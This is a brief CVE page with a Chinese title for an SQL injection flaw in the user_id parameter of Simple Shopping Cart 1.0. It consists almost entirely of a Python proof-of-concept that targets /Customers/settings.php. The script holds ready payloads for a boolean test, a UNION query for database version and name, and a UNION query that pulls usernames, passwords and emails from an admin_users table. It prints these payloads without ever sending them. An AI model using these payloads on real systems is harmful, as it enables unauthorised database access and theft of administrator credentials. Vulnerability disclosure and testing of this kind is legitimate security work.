CVE-2025-14246 Simple Shopping Cart 1.0 user_id参数SQL注入漏洞

import requests import sys # CVE-2025-14246 SQL Injection PoC # Target: Simple Shopping Cart 1.0 # File: /Customers/settings.php # Parameter: user_id def exploit_sqli(url, payload): target_url = f"{url}/Customers/settings.php" params = {'user_id': payload} try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" # Boolean-based blind SQL injection to extract database version payload_boolean = "1' AND 1=1 -- " # Example: Check if vulnerable (true condition) print("[*] Testing basic SQL injection...") print(f"[+] Payload: {payload_boolean}") # Union-based injection example payload_union = "1' UNION SELECT 1,2,3,4,5,version(),database() -- " print(f"[+] Union payload: {payload_union}") # Extract admin credentials payload_creds = "1' UNION SELECT username,password,email,4,5,6,7 FROM admin_users -- " print(f"[+] Credential extraction: {payload_creds}")